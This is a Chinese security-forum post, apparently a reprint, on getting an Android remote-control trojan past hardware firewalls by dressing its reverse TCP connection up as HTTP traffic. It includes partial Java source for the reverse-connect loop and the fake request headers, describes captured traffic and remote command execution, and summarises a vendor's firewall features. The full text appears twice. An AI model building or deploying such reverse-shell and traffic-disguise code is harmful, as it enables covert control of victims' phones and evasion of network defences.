-
-
对手机远程控制软件穿透硬件防火墙的分析和研究
-
发表于: 2014-11-1 22:28 913
-
新闻链接:5f1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2M7#2)9J5c8X3&6W2N6s2N6G2M7X3E0Q4x3V1j5@1z5e0t1%4x3g2)9J5k6h3S2@1L8h3H3`.
新闻时间:2014-10-30
新闻正文:
首先来说说本人对防火墙的一些认识,防火墙就是拦截和过滤外部网络“不安全的网络”对内部网络“可信网络” 数据包传输的一个工具。反过来也是可以的(内部网络到外部网络),可以是软件防火墙,也可以硬件防火墙。它的原理就是对 TCP/IP 协议族中的网络层和传输层以及应用层中的数据包进行分析和过滤。
关于防火墙更加详细的说明可以参考百度百科92fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2K9h3E0W2i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6K6N6h3u0$3K9h3g2%4i4K6u0r3x3K6l9$3y4#2)9J5c8U0V1H3y4o6R3&6y4U0k6Q4x3X3g2Z5N6r3@1`.
本文研究的内容可能包含攻击性,仅供安全研究和教学用途,禁止非法利用
手机远程控制软件穿墙研究
下面进入正题,今天讨论的手机远程控制(以下简称远控)主要指的是Android类手机远控,采用TCP 反弹连接的方式上线。反弹连接上线这种方式对于研究安全技术的人来说再熟悉不过了,比如说几年前的灰鸽子远控, 上兴远控, PCShare, PosionIvy 等等。
这种上线方式就是大家常说的C/S(client/server)模式;不同于C/S模式,B/S(brower/server)模式数据包传输走的是HTTP或者HTTPS协议。
穿透硬件防火墙的方法有很多种, 比如说走ICMP 协议的后门,可以穿透一部分防火墙(取决于防火墙的过滤规则),还有走HTTP/HTTPs协议的B/S类远控后门,这类远控上线很隐蔽,不易被察觉。但是它们都有一个特点,就是数据传输协议单一,一旦被发现,就很难逃脱,因为发送的http 请求头都是固定的,比如大家常用的扫描web服务器的工具AcunetixWeb Vulnerability Scanner,Netsparker 等等;它们的http 请求头都很特殊。B/S类远控后门也一样。
我这里的思路是什么呢? 数据包传输还得用tcp反弹连接 ,但是数据包是伪造的。比如伪造成http 协议,或者任意一种应用层协议,如SMTP协议,DNS协议等等。
下面我给出一部分关键源代码:
/**
* 建立socket 反弹连接.
*@return
*/
new Thread()
{
public void run() {
while(true)
{
try
{
Thread.sleep(2000);
try
{
//从String.xml获取上线域名和端口。
socket = newSocket(InetAddress.getByName(domain.trim()),Integer.parseInt(port.trim()));
booleanisConnected = socket.isConnected()&&!socket.isClosed();
if(isConnected)
{
Log.d(TAG,socket.toString());
socket.setKeepAlive(true); //表示对于长时间处于空闲状态的Socket,是否要自动把它关闭
//socket.setTcpNoDelay(true);//TcpNoDelay=false,为启用nagle算法
BackConnTask(socket);
}
} catch(IOException e) {
Log.e(TAG,e.toString());
} finally{
if(socket!=null)socket.close();
}
} catch (Exceptione) {
Log.e(TAG,e.toString());
}
}
};
}.start();
/**
* 初始化http请求数据.
*@return
*/
public String InitHttpGet()
{
StringBuilder request = newStringBuilder();
String v1="Host:3beK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3N6G2L8$3N6D9k6g2)9J5k6r3q4F1j5h3I4&6N6r3W2U0M7#2)9J5k6h3y4G2L8g2)9#2b7%4u0Q4y4f1y4F1";
String v2="User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0\r\n";
String v3="Accept:image/png,image/*;q=0.8,*/*;q=0.5\r\n";
String v4="Accept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
String v5="Accept-Encoding:gzip, deflate\r\n";
String v6="Connection:keep-alive\r\n\r\n";
request.append(v1).append(v2).append(v3).append(v4).append(v5).append(v6);
//request.length()=266
return request.toString();
}
上面的源代码只是一小部分,源代码的流程是这样的,如下图:
[示意图.png]
这里只是一个初步的模型,数据包的前面一部分还是固定的。
下面实际抓包看下效果,如下图:
[wireshark抓取手机数据包-测试png.png]
[wireshark抓取手机数据包-测试-HTTP.png]
在wireshark 里看到 ,数据包由tcp 变成了 http 协议。数据内容也变成了http 的请求头数据包。
下面看下远控的功能是否正常,如下图:
[天眼s.png]
[ls -l.png]
上图是执行系统命令。
[wifi.png]
上图是获取WIFI 扫描信息,还有其他功能就不一一演示了。
了解主流硬件防火墙
下面我们再来看下主流的硬件防火墙都有哪些功能
(注明:下面文字是从天融信官方网站上找到的)
NGFW4000系列专用平台产品采用最新的CCI技术,提供对OSI网络模型所有层次上的网络威胁的实时保护。网络卫士系列防火墙可对还原出来的应用层对象(如文件、网页、邮件等)进行病毒查杀,并可检查是否存在不良WEB内容、垃圾邮件、间谍软件和网络钓鱼欺骗等其他威胁,实现彻底防范。
[20120713162743222568.jpg]
状态检测只检查数据包的包头。
深度包检测可对数据包内容进行检查。
CCI可实时将网络层数据还原为完整的应用层对象(如文件、网页、邮件等),并对这些完整内容进行全面检查,实现彻底的内容防护。
支持入侵防御功能:
支持应用层防御,入侵防御攻击特征库数量≥3500种,攻击检测率≥90%;支持对多种常用协议的协议识别和异常检测,包括HTTP、FTP、SMTP、POP3、IMAP、MSRPC、NETBIOS、SMB、MS_SQL、TALNET、IRC、DNS等;支持入侵攻击特征库的分类显示;支持用户自定义规则;支持入侵攻击特征库自动升级,手动升级,离线升级,版本回退;响应方式支持阻断、丢包、日志记录等。
更加详细的说明可以参考下面的连接:
05aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8G2M7s2y4W2j5#2)9J5k6h3y4G2L8g2)9J5k6h3y4F1i4K6u0r3j5i4q4U0M7q4)9J5c8X3u0B7j5i4q4Q4x3V1k6X3K9s2q4Q4x3V1k6*7P5h3c8Z5M7s2c8Q4x3V1k6A6L8X3c8W2P5q4)9J5k6h3S2@1L8b7`.`.
从上面的描述可以分析得出, 硬件防火墙的功能还是很全面的。要想突破防火墙的过滤规则,就需要在发送数据包的时候绕过这些规则。
我上面的源代码实现的功能并不完善,以后的想法是实现受控端本地抓包,受控端用什么网络协议,远控就自动伪造成什么协议。达到的效果就是受控端能上网,远控也能上网。
题外话
我看过很多有关黑客类电影,比如:《虎胆龙威4》,《007》,《谍影重重》,《夺命手机》等等。你们想想看,美国国家安全局、中情局、英国军情6处,它们用的什么硬件防火墙。是吧,肯定很牛X ,要想突破,谈何容易。
新闻时间:2014-10-30
新闻正文:
首先来说说本人对防火墙的一些认识,防火墙就是拦截和过滤外部网络“不安全的网络”对内部网络“可信网络” 数据包传输的一个工具。反过来也是可以的(内部网络到外部网络),可以是软件防火墙,也可以硬件防火墙。它的原理就是对 TCP/IP 协议族中的网络层和传输层以及应用层中的数据包进行分析和过滤。
关于防火墙更加详细的说明可以参考百度百科92fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2K9h3E0W2i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6K6N6h3u0$3K9h3g2%4i4K6u0r3x3K6l9$3y4#2)9J5c8U0V1H3y4o6R3&6y4U0k6Q4x3X3g2Z5N6r3@1`.
本文研究的内容可能包含攻击性,仅供安全研究和教学用途,禁止非法利用
手机远程控制软件穿墙研究
下面进入正题,今天讨论的手机远程控制(以下简称远控)主要指的是Android类手机远控,采用TCP 反弹连接的方式上线。反弹连接上线这种方式对于研究安全技术的人来说再熟悉不过了,比如说几年前的灰鸽子远控, 上兴远控, PCShare, PosionIvy 等等。
这种上线方式就是大家常说的C/S(client/server)模式;不同于C/S模式,B/S(brower/server)模式数据包传输走的是HTTP或者HTTPS协议。
穿透硬件防火墙的方法有很多种, 比如说走ICMP 协议的后门,可以穿透一部分防火墙(取决于防火墙的过滤规则),还有走HTTP/HTTPs协议的B/S类远控后门,这类远控上线很隐蔽,不易被察觉。但是它们都有一个特点,就是数据传输协议单一,一旦被发现,就很难逃脱,因为发送的http 请求头都是固定的,比如大家常用的扫描web服务器的工具AcunetixWeb Vulnerability Scanner,Netsparker 等等;它们的http 请求头都很特殊。B/S类远控后门也一样。
我这里的思路是什么呢? 数据包传输还得用tcp反弹连接 ,但是数据包是伪造的。比如伪造成http 协议,或者任意一种应用层协议,如SMTP协议,DNS协议等等。
下面我给出一部分关键源代码:
/**
* 建立socket 反弹连接.
*@return
*/
new Thread()
{
public void run() {
while(true)
{
try
{
Thread.sleep(2000);
try
{
//从String.xml获取上线域名和端口。
socket = newSocket(InetAddress.getByName(domain.trim()),Integer.parseInt(port.trim()));
booleanisConnected = socket.isConnected()&&!socket.isClosed();
if(isConnected)
{
Log.d(TAG,socket.toString());
socket.setKeepAlive(true); //表示对于长时间处于空闲状态的Socket,是否要自动把它关闭
//socket.setTcpNoDelay(true);//TcpNoDelay=false,为启用nagle算法
BackConnTask(socket);
}
} catch(IOException e) {
Log.e(TAG,e.toString());
} finally{
if(socket!=null)socket.close();
}
} catch (Exceptione) {
Log.e(TAG,e.toString());
}
}
};
}.start();
/**
* 初始化http请求数据.
*@return
*/
public String InitHttpGet()
{
StringBuilder request = newStringBuilder();
String v1="Host:3beK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3N6G2L8$3N6D9k6g2)9J5k6r3q4F1j5h3I4&6N6r3W2U0M7#2)9J5k6h3y4G2L8g2)9#2b7%4u0Q4y4f1y4F1";
String v2="User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0\r\n";
String v3="Accept:image/png,image/*;q=0.8,*/*;q=0.5\r\n";
String v4="Accept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
String v5="Accept-Encoding:gzip, deflate\r\n";
String v6="Connection:keep-alive\r\n\r\n";
request.append(v1).append(v2).append(v3).append(v4).append(v5).append(v6);
//request.length()=266
return request.toString();
}
上面的源代码只是一小部分,源代码的流程是这样的,如下图:
[示意图.png]
这里只是一个初步的模型,数据包的前面一部分还是固定的。
下面实际抓包看下效果,如下图:
[wireshark抓取手机数据包-测试png.png]
[wireshark抓取手机数据包-测试-HTTP.png]
在wireshark 里看到 ,数据包由tcp 变成了 http 协议。数据内容也变成了http 的请求头数据包。
下面看下远控的功能是否正常,如下图:
[天眼s.png]
[ls -l.png]
上图是执行系统命令。
[wifi.png]
上图是获取WIFI 扫描信息,还有其他功能就不一一演示了。
了解主流硬件防火墙
下面我们再来看下主流的硬件防火墙都有哪些功能
(注明:下面文字是从天融信官方网站上找到的)
NGFW4000系列专用平台产品采用最新的CCI技术,提供对OSI网络模型所有层次上的网络威胁的实时保护。网络卫士系列防火墙可对还原出来的应用层对象(如文件、网页、邮件等)进行病毒查杀,并可检查是否存在不良WEB内容、垃圾邮件、间谍软件和网络钓鱼欺骗等其他威胁,实现彻底防范。
[20120713162743222568.jpg]
状态检测只检查数据包的包头。
深度包检测可对数据包内容进行检查。
CCI可实时将网络层数据还原为完整的应用层对象(如文件、网页、邮件等),并对这些完整内容进行全面检查,实现彻底的内容防护。
支持入侵防御功能:
支持应用层防御,入侵防御攻击特征库数量≥3500种,攻击检测率≥90%;支持对多种常用协议的协议识别和异常检测,包括HTTP、FTP、SMTP、POP3、IMAP、MSRPC、NETBIOS、SMB、MS_SQL、TALNET、IRC、DNS等;支持入侵攻击特征库的分类显示;支持用户自定义规则;支持入侵攻击特征库自动升级,手动升级,离线升级,版本回退;响应方式支持阻断、丢包、日志记录等。
更加详细的说明可以参考下面的连接:
05aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8G2M7s2y4W2j5#2)9J5k6h3y4G2L8g2)9J5k6h3y4F1i4K6u0r3j5i4q4U0M7q4)9J5c8X3u0B7j5i4q4Q4x3V1k6X3K9s2q4Q4x3V1k6*7P5h3c8Z5M7s2c8Q4x3V1k6A6L8X3c8W2P5q4)9J5k6h3S2@1L8b7`.`.
从上面的描述可以分析得出, 硬件防火墙的功能还是很全面的。要想突破防火墙的过滤规则,就需要在发送数据包的时候绕过这些规则。
我上面的源代码实现的功能并不完善,以后的想法是实现受控端本地抓包,受控端用什么网络协议,远控就自动伪造成什么协议。达到的效果就是受控端能上网,远控也能上网。
题外话
我看过很多有关黑客类电影,比如:《虎胆龙威4》,《007》,《谍影重重》,《夺命手机》等等。你们想想看,美国国家安全局、中情局、英国军情6处,它们用的什么硬件防火墙。是吧,肯定很牛X ,要想突破,谈何容易。
赞赏
赞赏
雪币:
留言: